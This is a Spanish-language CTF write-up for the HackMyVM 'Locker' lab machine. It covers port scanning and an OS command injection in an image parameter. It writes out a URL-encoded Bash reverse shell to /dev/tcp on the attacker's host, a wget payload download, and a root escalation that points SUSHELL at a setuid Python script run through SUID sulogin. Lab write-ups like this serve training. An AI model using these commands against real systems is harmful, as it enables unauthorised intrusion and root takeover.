cd ~/blog

~/writeups/hmv/086-locker.md

086 - Locker

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
OS Command InjectionSUID Binary Abusesulogin SUSHELL Environment Variable Abuse
hackmyvm.eu/machines/machine.php?vm=Locker

~1 min de lectura


Enumeración de servicios

El escaneo completo sólo descubre HTTP en el puerto 80. Al no existir SSH ni otros servicios remotos, la obtención de acceso debe partir de la aplicación web servida por Nginx:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.140
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.140
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-27 15:24 -04
Nmap scan report for 192.168.1.140
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds

Detección de OS Command Injection

El sitio carga imágenes mediante el parámetro image:

http://192.168.1.140/locker.php?image=1

Insertamos ;id; para terminar el argumento esperado y añadir otro comando. La respuesta incluye la salida de id dentro del atributo src, lo que demuestra que el valor llega sin neutralizar a un intérprete y confirma OS Command Injection. La misma salida identifica a www-data como la cuenta del proceso web:

❯ curl 'http://192.168.1.140/locker.php?image=;id;'
<img src="data:image/jpg;base64,uid=33(www-data) gid=33(www-data) groups=33(www-data)
"width="150"height="150"/>

Acceso inicial mediante una reverse shell

Reemplazamos el comando de prueba por una reverse shell de Bash. Los caracteres especiales se codifican en URL para que lleguen intactos al parámetro; antes de enviar la petición dejamos ncat escuchando en el puerto 1234:

❯ curl 'http://192.168.1.140/locker.php?image=;bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.3/1234%200%3E%261%22;'

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.140:33684.
bash: cannot set terminal process group (369): Inappropriate ioctl for device
bash: no job control in this shell
www-data@locker:~/html$

La conexión entrante confirma ejecución remota como www-data.

Enumeración local

Buscamos binarios SUID y encontramos /usr/sbin/sulogin. Al pertenecer a root, el programa inicia con UID efectivo privilegiado; todavía hace falta encontrar una forma de controlar qué intérprete ejecutará:

www-data@locker:~$ find / -perm -4000 2>/dev/null
...
/usr/sbin/sulogin
...

Escalada mediante SUSHELL

Con la opción -e, sulogin consulta las variables SUSHELL o sushell para decidir qué intérprete iniciar. Como el entorno conserva un valor controlado por www-data, hacemos que el binario privilegiado ejecute nuestro script. El script fija los UID y GID reales a 0 antes de lanzar Bash, evitando que la nueva shell descarte el privilegio efectivo heredado:

❯ cat pwned.py
#!/usr/bin/python3
import os

def main():
    os.setuid(0)
    os.setgid(0)
    os.system("/bin/bash")

if __name__ == "__main__":
    main()

Transferimos el script, lo hacemos ejecutable, apuntamos SUSHELL a su ruta y ejecutamos el binario SUID:

www-data@locker:/tmp$ wget http://192.168.1.3:8000/pwned.py
www-data@locker:/tmp$ chmod +x pwned.py

www-data@locker:/tmp$ export SUSHELL=/tmp/pwned.py
www-data@locker:/tmp$ sulogin -e
sulogin -e
Press Enter for maintenance
(or press Control-D to continue):

root@locker:~#

El prompt cambia a root; verificamos con id, recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados